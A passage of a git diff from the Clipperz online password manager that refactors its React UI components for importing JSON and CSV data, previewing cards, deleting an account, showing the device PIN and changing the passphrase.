jsonData = JSON.parse(aJsonString);
this.addImportIds(jsonData);
result = jsonData;
} catch(e) {
result = false;
}
return result;
},
parseCsv: function(aCsvString) {
var result;
var i;
var parsedCsv = Papa.parse(aCsvString);
if (parsedCsv.errors.length != 0) {
result = false;
} else {
result = this.csvFillEmptyCells(parsedCsv.data);
}
return result;
},
csvFillEmptyCells: function(table) {
var i,j;
var result = [];
var maxColumns = MochiKit.Iter.reduce(function(prev,next) {
return Math.max(prev,next)
}, MochiKit.Base.map(function(row) {return row.length;}, table) );
for (i=0; i<table.length; i++) {
result[i] = [];
for (j=0; j<maxColumns; j++) {
result[i][j] = (typeof(table[i][j]) != "undefined") ? table[i][j] : "";
}
}
return result;
},
//=========================================================================
handleUploadFiles: function(someFiles) {
var file;
var reader;
@ -33,19 +156,24 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
file = someFiles[0];
reader = new FileReader();
// TODO: check what happens with binary files
// Binary files are just thrown in the textarea as weird UTF-8 characters: should we do something about it?
reader.onloadend = MochiKit.Base.bind(function() {
var extractedJson = this.props.extractJsonFromClipperzExportCallback(reader.result);
var extractedJson = this.extractJsonFromClipperzExport(reader.result);
var newInputString;
if (extractedJson) {
this.props.setImportStateCallback({'importData': {'input': extractedJson}});
newInputString = extractedJson;
} else {
this.props.setImportStateCallback({'importData': {'input': reader.result}});
newInputString = reader.result;
}
this.setState({'inputString': newInputString});
this.updateNextStatus(newInputString);
},this,reader);
reader.readAsText(file);
} else {
// Should this be removed?
alert("Error: expecting a file as input.");
}
},
@ -70,36 +198,17 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
e.preventDefault();
},
handleSubmit: function(event) {
var jsonData;
var newState;
var inputString = this.refs['input-textarea'].getDOMNode().value.trim();
event.preventDefault();
if (newState = this.props.parseJsonCallback(inputString)) {
this.props.setImportStateCallback(newState);
} else if (newState = this.props.parseCsvCallback(inputString)) {
this.props.setImportStateCallback(newState);
} else {
alert("Unrecognized input format...");
}
},
handleTextareaChange: function() {
this.props.setImportStateCallback({'importData': {'input': this.refs['input-textarea'].getDOMNode().value}});
var newInputString = this.refs['input-textarea'].getDOMNode().value;
this.setState({'inputString': newInputString});
this.updateNextStatus(newInputString);
},
//=========================================================================
render: function() {
return React.DOM.div({},[
React.DOM.h2({},"Input"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': 'json',
'stepId': 'input'
}),
React.DOM.form({'key':'form', 'className':'importForm', 'onSubmit': this.handleSubmit }, [
React.DOM.button({'key':'input-next', 'type':'submit', 'className':'button'}, "Next"),
React.DOM.form({'key':'form', 'className':'importForm' }, [
React.DOM.input({
'type': 'file',
'ref': 'upload-input',
@ -108,15 +217,10 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
'style': {'display': 'none'}
}),
React.DOM.div({
'style': { // TODO: replace with proper CSS
'width': '90%',
'textAlign': 'center',
'lineHeight': '3em',
'border': '3px dashed white'
},
'onDragOver': this.handleOnDragOver,
'onDrop': this.handleOnDrop,
'onClick': MochiKit.Base.bind(function() { this.refs['upload-input'].getDOMNode().click() }, this)
'onClick': MochiKit.Base.bind(function() { this.refs['upload-input'].getDOMNode().click() }, this),
'className': 'dropArea'
}, "Drag your Clipperz export file here or click select it manually."),
React.DOM.p({}, "or"),
React.DOM.div({'key':'fields'},[
@ -125,7 +229,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClas
'name':'input-textarea',
'ref':'input-textarea',
'placeholder':"Open the JSON file exported from Clipperz in a text editor. Then copy and paste its content here.",
'value': this.props.importState.importData.input,
'value': this.state.inputString,
'onChange': this.handleTextareaChange,
'onDragOver': this.handleOnDragOver,
'onDrop': this.handleOnDrop,

View File

@ -26,28 +26,81 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createClass({
// UNCOMMENT AFTER MERGE (uses methods in Record that were added in another branch)
// getTags: function (aTitle) {
// var result;
// var tagList;
//
// var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle);
//
// tagList = MochiKit.Base.keys(tagObject);
// tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList);
//
// if (tagList.length > 0) {
// result = React.DOM.ul({'className': 'tagList'},
// MochiKit.Base.map(function(aTag){
// return React.DOM.li({}, aTag);
// }, tagList)
// );
// } else {
// result = null;
// }
//
// return result;
// },
getInitialState: function() {
if (this.props.importContext.format == 'csv') {
return this.props.importContext.processCsv()
} else {
return {
'jsonToImport': this.props.importContext.jsonToImport,
'recordsToImport': this.props.importContext.recordsToImport,
}
}
},
componentDidMount() {
this.props.setNextStepCallback(this.handleImport);
},
//-------------------------------------------------------------------------
handleImport: function() {
MochiKit.Base.update(this.props.importContext, this.state);
var filteredImportData = MochiKit.Base.filter(
MochiKit.Base.bind(function(r) {
return this.isRecordToImport(r);
}, this),
this.state.jsonToImport
);
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData);
return true;
},
//=========================================================================
toggleRecordToImport: function(record) {
var newRecordsToImport;
var recordPosition;
newRecordsToImport = this.state.recordsToImport;
recordPosition = newRecordsToImport.indexOf(record._importId);
if (recordPosition === -1) {
newRecordsToImport.push(record._importId);
} else {
newRecordsToImport.splice(recordPosition,1);
}
this.setState({'recordsToImport': newRecordsToImport});
},
isRecordToImport: function(record) {
return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false;
},
getTags: function (aTitle) {
var result;
var tagList;
var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle);
tagList = MochiKit.Base.keys(tagObject);
tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList);
if (tagList.length > 0) {
result = React.DOM.ul({'className': 'tagList'},
MochiKit.Base.map(function(aTag){
return React.DOM.li({}, aTag);
}, tagList)
);
} else {
result = null;
}
return result;
},
renderCardFields: function(someFields) {
return MochiKit.Base.map(function(key) {
@ -65,13 +118,11 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl
return React.DOM.li({'className': 'card'}, [
React.DOM.input({
'type': 'checkbox',
'checked': this.props.isRecordToImportCallback(aCard),
'onChange': MochiKit.Base.partial(this.props.toggleRecordToImportCallback,aCard)
'checked': this.isRecordToImport(aCard),
'onChange': MochiKit.Base.partial(this.toggleRecordToImport,aCard)
}),
React.DOM.h3({}, Clipperz.PM.DataModel.Record.filterOutTags(aCard.label)),
// REMOVE THE PREVIOUS LINE AND UNCOMMENT THE FOLLOWING 2 AFTER MERGE
// React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)),
// this.getTags(aCard.label),
React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)),
this.getTags(aCard.label),
React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)),
notesParagraph
]);
@ -80,38 +131,17 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createCl
render: function() {
var result;
if (! this.props.importState.importData || typeof(this.props.importState.jsonToImport)=='undefined' || !this.props.importState.jsonToImport) {
if (typeof(this.state.jsonToImport)=='undefined' || !this.state.jsonToImport) {
result = "Error";
} else {
var renderedPreview = React.DOM.ul({},
MochiKit.Base.map(this.renderCard, this.props.importState.jsonToImport)
MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
);
result = [
React.DOM.h2({},"Preview"),
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
'format': this.props.importState.importData.format,
'stepId': 'preview'
}),
React.DOM.button({
'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.importState.previousStep)}, "Back"),
React.DOM.span({}, " - "),
React.DOM.button({
'onClick': MochiKit.Base.bind(function() {
var filteredImportData = MochiKit.Base.filter(
MochiKit.Base.bind(function(r) {
return this.props.isRecordToImportCallback(r);
}, this),
this.props.importState.jsonToImport
);
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData);
this.props.resetImportStateCallback();
}, this)
}, "Import"),
React.DOM.div({'className': 'jsonPreview'},renderedPreview),
];
result =
React.DOM.div({'className': 'jsonPreview'}, React.DOM.ul({},
MochiKit.Base.map(this.renderCard, this.state.jsonToImport)
) );
}
return React.DOM.div({},result);

View File

@ -1,99 +0,0 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass = React.createClass({
_stepsInfo: [
{
id: 'input',
name: 'Input',
formats: ['json', 'csv']
},
{
id: 'csv-columns',
name: 'Columns',
formats: ['csv']
},
{
id: 'csv-labels',
name: 'Labels',
formats: ['csv']
},
{
id: 'csv-titles',
name: 'Titles',
formats: ['csv']
},
{
id: 'csv-notes',
name: 'Notes',
formats: ['csv']
},
{
id: 'csv-hidden',
name: 'Hidden',
formats: ['csv']
},
{
id: 'preview',
name: 'Preview',
formats: ['json', 'csv']
}
],
render: function() {
var navigationButtons;
if (this.props.prevStep && this.props.nextStep) {
navigationButtons = [
React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.prevStep)}, "Back"),
React.DOM.span({}, " - "),
React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.nextStep), 'disabled': this.props.nextDisabled }, "Next")
];
} else {
}
return React.DOM.div({},[
React.DOM.ul({'className': 'stepsOverview'},
MochiKit.Base.map(MochiKit.Base.bind(function(aStep) {
var className;
className = (aStep.id == this.props.stepId) ? 'active' : 'inactive';
className = (MochiKit.Base.findValue(aStep.formats,this.props.format)>= 0) ? className+' enabled' : className+' disabled';
// TODO: replace with proper CSS
var style = (aStep.id == this.props.stepId) ? {'display': 'inline-block', 'textDecoration': 'underline'} : {'display': 'inline-block'};
return React.DOM.li({'className': className, 'style': style}, aStep.name);
},this), this._stepsInfo)
),
navigationButtons
]);
}
});
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass);

View File

@ -43,7 +43,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
handleDeleteAccount: function(event) {
event.preventDefault();
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'deleteAccount');
},
@ -77,14 +76,13 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
render: function () {
return React.DOM.div({className:'extraFeature deleteAccount'}, [
React.DOM.h1({}, "Delete Account"),
React.DOM.div({'className': 'content'}, [
React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [
React.DOM.div({'key':'fields'},[
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
React.DOM.input({'key':'username', 'className': this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
React.DOM.span({'className': 'invalidMsg'},'Invalid username!'),
React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"),
React.DOM.input({'key':'passphrase', 'className': this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}),
React.DOM.span({'className': 'invalidMsg'},'Invalid passphrase!'),
React.DOM.p({}, [
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.")
@ -92,6 +90,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({
]),
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account")
])
])
]);
},

View File

@ -36,7 +36,9 @@ Clipperz.PM.UI.Components.ExtraFeatures.DevicePINClass = React.createClass({
render: function () {
return React.DOM.div({className:'extraFeature devicePIN'}, [
React.DOM.h1({}, "Device PIN"),
React.DOM.h3({}, this.props['PIN'])
React.DOM.div({'className': 'content'}, [
React.DOM.h3({}, this.props['PIN'])
])
]);
},

View File

@ -1,409 +0,0 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass = React.createClass({
getInitialState: function() {
return {
'currentStep': 'input',
'importData': {'input': ""},
'recordsToImport': null
};
},
goToStep: function(aStep) {
this.setState({'currentStep': aStep});
},
resetState: function() {
this.replaceState( this.getInitialState() );
},
//=========================================================================
addImportIds: function (someJson) {
var count;
for (count=0; count < someJson.length; count++) {
someJson[count]['_importId'] = count;
}
},
toggleRecordToImport: function(record) {
var newRecordsToImport;
var recordPosition;
newRecordsToImport = this.state.recordsToImport;
recordPosition = newRecordsToImport.indexOf(record._importId);
if (recordPosition === -1) {
newRecordsToImport.push(record._importId);
} else {
newRecordsToImport.splice(recordPosition,1);
}
this.setState({'recordsToImport': newRecordsToImport});
},
isRecordToImport: function(record) {
return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false;
},
extractJsonFromClipperzExport: function(someHtml) {
var temporaryTextarea;
var regexMatch;
var result;
// Should move the regex to global?
var re = new RegExp('.*<textarea>(.*)<\/textarea>.*','g');
if (re.test(someHtml)) {
// Needed to escape HTML entities
temporaryTextarea = document.createElement('textarea');
temporaryTextarea.innerHTML = someHtml.replace(re, '$1');
result = temporaryTextarea.innerHTML;
} else {
result = false;
}
return result;
},
parseJson: function(aJsonString) {
var result;
var jsonData;
try {
jsonData = JSON.parse(aJsonString);
this.addImportIds(jsonData);
result = {
'importData': {
'format': 'json',
'input': aJsonString,
},
'jsonToImport': jsonData,
'recordsToImport': jsonData.map(function(d){return d._importId}),
'currentStep': 'preview',
'previousStep': 'input'
};
} catch(e) {
result = false;
}
return result;
},
parseCsv: function(aCsvString) {
var result;
var parsedCSV;
var nColumns;
var defaultSelectedColumns;
var defaultHiddenColumns;
var defaultColumnLabels;
var columnLabelsFirstrow;
var i;
var papaParsedCSV = Papa.parse(aCsvString);
event.preventDefault();
if (papaParsedCSV.errors.length != 0) {
result = false;
} else {
parsedCSV = this.csvFillEmptyCells(papaParsedCSV.data);
nColumns = parsedCSV[0].length;
defaultSelectedColumns = {};
defaultHiddenColumns = {};
defaultColumnLabels = {};
columnLabelsFirstrow = {};
for (i=0; i<nColumns; i++) {
defaultSelectedColumns[i] = true;
defaultHiddenColumns[i] = false;
defaultColumnLabels[i] = "";
columnLabelsFirstrow[i] = parsedCSV[0][i];
}
result = {
'importData': {
'format': 'csv',
'input': aCsvString,
'parsedCSV': parsedCSV,
'nColumns': nColumns,
'selectedColumns': defaultSelectedColumns,
'firstRowAsLabels': false,
'columnLabels': defaultColumnLabels,
'columnLabelsFirstrow': columnLabelsFirstrow,
'titlesColumn': null,
'notesColumn': null,
'hiddenColumns': defaultHiddenColumns,
'json': []
},
'currentStep': 'csv-columns'
};
}
return result;
},
csvFillEmptyCells: function(table) {
var i,j;
var result = [];
var maxColumns = MochiKit.Iter.reduce(function(prev,next) {
return Math.max(prev,next)
}, MochiKit.Base.map(function(row) {return row.length;}, table) );
for (i=0; i<table.length; i++) {
result[i] = [];
for (j=0; j<maxColumns; j++) {
result[i][j] = (typeof(table[i][j]) != "undefined") ? table[i][j] : "";
}
}
return result;
},
csvGetColumnLabels: function() {
return (this.state.importData.firstRowAsLabels) ? this.state.importData.columnLabelsFirstrow : this.state.importData.columnLabels;
},
csvToJson: function() {
var result;
var importData = this.state.importData;
var columnLabels = this.csvGetColumnLabels();
result = [];
for (rowCount=0; rowCount<importData.parsedCSV.length; rowCount++) {
var rowCount,cellCount;
if (rowCount != 0 || ! importData.firstRowAsLabels) {
var record;
record = {};
record._importId = rowCount;
record.label = importData.parsedCSV[rowCount][importData.titlesColumn];
record.data = {'notes': ""};
record.currentVersion = {'fields': {}};
for (cellCount=0; cellCount<importData.parsedCSV[rowCount].length; cellCount++) {
if (importData.selectedColumns[cellCount] && cellCount != importData.notesColumn && cellCount != importData.titlesColumn) {
var fieldKey = rowCount+"-"+cellCount;
var field = {
'label': columnLabels[cellCount],
'value': importData.parsedCSV[rowCount][cellCount],
'hidden': importData.hiddenColumns[cellCount]
};
record.currentVersion.fields[fieldKey] = field;
} else if (cellCount == importData.notesColumn) {
record.data.notes = importData.parsedCSV[rowCount][cellCount];
}
}
result.push(record);
}
}
return result;
},
//=========================================================================
csvRenderTbody: function() {
var rowCount;
var cellCount;
var firstRowAsLabels = this.state.importData.firstRowAsLabels;
var selectedColumns = this.state.importData.selectedColumns;
rowCount = 0;
return MochiKit.Base.map(function(row){
var result;
cellCount = 0;
if (rowCount == 0 && firstRowAsLabels) {
result = null;
} else {
result = React.DOM.tr({'key': 'csv-row-'+(rowCount)}, MochiKit.Base.map(function(cell) {
return (selectedColumns[cellCount]) ? React.DOM.td({'key': 'csv-cell-'+rowCount+'-'+(cellCount++)},cell) : null;
}, row));
}
rowCount++;
return result;
}, this.state.importData.parsedCSV);
},
csvRenderTheadInput: function(stepName, inputType, valueCallback, onChange, disabledCallback, showLabels) {
var cellCount;
var importData = this.state.importData;
cellCount = 0;
return React.DOM.tr({},
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
var result;
var columnLabels = (importData.firstRowAsLabels) ? importData.columnLabelsFirstrow : importData.columnLabels;
var inputLabel = (showLabels) ? React.DOM.label({'htmlFor': 'csv-'+stepName+'-input-'+cellCount}, columnLabels[cellCount]) : null;
if (! importData.selectedColumns[cellCount]) {
result = null;
} else {
var inputProps = {
'type': inputType,
'id': 'csv-'+stepName+'-input-'+cellCount,
'key': 'csv-'+stepName+'-input-'+cellCount,
'ref': 'csv-'+stepName+'-input-'+cellCount,
'onChange': MochiKit.Base.partial(onChange,cellCount)
}
if (inputType == 'radio' || inputType == 'checkbox') {
inputProps['checked'] = MochiKit.Base.partial(valueCallback,cellCount)();
} else {
inputProps['value'] = MochiKit.Base.partial(valueCallback,cellCount)();
}
if (disabledCallback) {
inputProps['disabled'] = MochiKit.Base.partial(disabledCallback,cellCount)();
}
result = React.DOM.th({'key': 'csv-'+stepName+'-header-'+cellCount}, [
inputLabel,
React.DOM.input(inputProps)
]);
}
cellCount++;
return result;
}, this), this.state.importData.parsedCSV[0])
)
},
setStateCB: function(aState) {
this.setState(aState);
},
_renderStepMethods: {
'input': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Input({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
'extractJsonFromClipperzExportCallback': this.extractJsonFromClipperzExport,
'parseJsonCallback': this.parseJson,
'parseCsvCallback': this.parseCsv
});
},
'csv-columns': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumns({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
});
},
'csv-labels': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabels({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
'csvRenderTheadInputCallback': this.csvRenderTheadInput,
'csvRenderTbodyCallback': this.csvRenderTbody,
'csvGetColumnLabelsCallback': this.csvGetColumnLabels
});
},
'csv-titles': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitles({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
'csvRenderTheadInputCallback': this.csvRenderTheadInput,
'csvRenderTbodyCallback': this.csvRenderTbody,
});
},
'csv-notes': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotes({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
'csvRenderTheadInputCallback': this.csvRenderTheadInput,
'csvRenderTbodyCallback': this.csvRenderTbody,
});
},
'csv-hidden': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHidden({
'importState': this.state,
'setImportStateCallback': this.setStateCB,
'goToStepCallback': this.goToStep,
'csvRenderTheadInputCallback': this.csvRenderTheadInput,
'csvRenderTbodyCallback': this.csvRenderTbody,
'csvToJsonCallback': this.csvToJson
});
},
//-------------------------------------------------------------------------
'preview': function() {
return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Preview({
'importState': this.state,
'resetImportStateCallback': this.resetState,
'goToStepCallback': this.goToStep,
'isRecordToImportCallback': this.isRecordToImport,
'toggleRecordToImportCallback': this.toggleRecordToImport
});
},
},
//=========================================================================
renderStep: function(step) {
return MochiKit.Base.method(this, this._renderStepMethods[step])();
},
render: function () {
return React.DOM.div({className:'extraFeature'}, [
React.DOM.h1({}, "Import"),
this.renderStep(this.state.currentStep)
]);
},
//=========================================================================
});
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);

View File

@ -27,96 +27,103 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
Clipperz.PM.UI.Components.ExtraFeatures.PassphraseClass = React.createClass({
propTypes: {
// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
},
getInitialState: function() {
return {
'username': '',
'old-passphrase': '',
'new-passphrase': '',
'confirm-new-passphrase': '',
'error': ''
'username': 'empty',
'old-passphrase': 'empty',
'new-passphrase': 'empty',
'confirm-new-passphrase': 'empty',
'confirm': '',
};
},
//=========================================================================
shouldEnableChangePassphraseButton: function() {
return (
this.state['username'] &&
this.state['old-passphrase'] &&
this.state['new-passphrase'] &&
this.state['confirm-new-passphrase'] &&
(this.state['new-passphrase'] == this.state['confirm-new-passphrase'])
);
},
handleFormChange: function() {
this.setState({
'username': this.refs['username'].getDOMNode().value,
'old-passphrase': this.refs['old-passphrase'].getDOMNode().value,
'new-passphrase': this.refs['new-passphrase'].getDOMNode().value,
'confirm-new-passphrase': this.refs['confirm-new-passphrase'].getDOMNode().value
});
resetForm: function () {
this.setState(this.getInitialState());
this.refs['username'].getDOMNode().value = '';
this.refs['old-passphrase'].getDOMNode().value = '';
this.refs['new-passphrase'].getDOMNode().value = '';
this.refs['confirm-new-passphrase'].getDOMNode().value = '';
this.refs['confirm'].getDOMNode().checked = false;
},
handleChangePassphrase: function(event) {
event.preventDefault();
if (this.refs['username'].getDOMNode().value != this.props.userInfo['username']) {
this.setState({error: "Invalid username"});
return;
}
var newPassphrase;
event.preventDefault();
newPassphrase = this.refs['new-passphrase'].getDOMNode().value;
this.resetForm();
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'changePassphrase', newPassphrase);
},
handleFormChange: function() {
var deferredResult;
deferredResult = new Clipperz.Async.Deferred("Passphrase.handleChangePassphrase", {trace: false});
deferredResult = new Clipperz.Async.Deferred("Passphrase.handleFormChange", {trace: false});
deferredResult.addCallback(this.props.userInfo['checkPassphraseCallback'], this.refs['old-passphrase'].getDOMNode().value);
deferredResult.addIf(
[
MochiKit.Base.partial(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'changePassphrase', this.refs['new-passphrase'].getDOMNode().value),
MochiKit.Base.method(this, function() {
this.refs['username'].getDOMNode().value = '';
this.refs['old-passphrase'].getDOMNode().value = '';
this.refs['new-passphrase'].getDOMNode().value = '';
this.refs['confirm-new-passphrase'].getDOMNode().value = '';
this.setState({'error': ''});
})
],
[MochiKit.Base.bind(this.setState, this, {error: "Invalid password"})]
);
deferredResult.addMethod(this, function(passCheck){
var username = this.refs['username'].getDOMNode().value;
var oldPassphrase = this.refs['old-passphrase'].getDOMNode().value;
var newPassphrase = this.refs['new-passphrase'].getDOMNode().value;
var confirmNewPassphrase = this.refs['confirm-new-passphrase'].getDOMNode().value;
this.setState({
'username': (username != '') ? [(username == this.props.userInfo['username']) ? 'valid' : 'invalid'] : 'empty',
'old-passphrase': (oldPassphrase != '') ? [(passCheck) ? 'valid' : 'invalid'] : 'empty',
'new-passphrase': (newPassphrase != '') ? 'valid' : 'empty',
'confirm-new-passphrase': (confirmNewPassphrase != '') ? [(confirmNewPassphrase == newPassphrase) ? 'valid' : 'invalid'] : 'empty',
'confirm': this.refs['confirm'].getDOMNode().checked,
});
});
deferredResult.callback();
return deferredResult;
// MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'changePassphrase', this.refs['new-passphrase'].getDOMNode().value);
},
shouldEnableChangePassphraseButton: function() {
return (
this.state['username'] == 'valid' &&
this.state['old-passphrase'] == 'valid' &&
this.state['new-passphrase'] == 'valid' &&
this.state['confirm-new-passphrase'] == 'valid' &&
this.state['confirm']
);
},
//=========================================================================
render: function () {
var errorVisibility = (this.state.error) ? 'visible' : 'hidden';
return React.DOM.div({className:'extraFeature passphrase'}, [
React.DOM.h1({}, "Change Passphrase"),
React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
React.DOM.div({'key':'fields'},[
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
React.DOM.input({'key':'username', 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
React.DOM.input({'key':'old-passphrase', 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
React.DOM.input({'key':'new-passphrase', 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
React.DOM.input({'key':'confirm-new-passphrase', 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"})
]),
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change"),
React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error)
]),
React.DOM.div({'className': 'content'}, [
React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
React.DOM.div({'key':'fields'},[
React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}),
React.DOM.p({}, [
React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.")
]),
]),
React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"),
])
])
]);
},

View File

@ -53,11 +53,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
//-------------------------------------------------------------------------
'show': function (aMessage, showMask) {
'show': function (aMessage, showMask, showProgress) {
if (showMask === true) {
this.showMask();
}
if (showProgress === true) {
this.showProgressBar();
}
this.resetStatus();
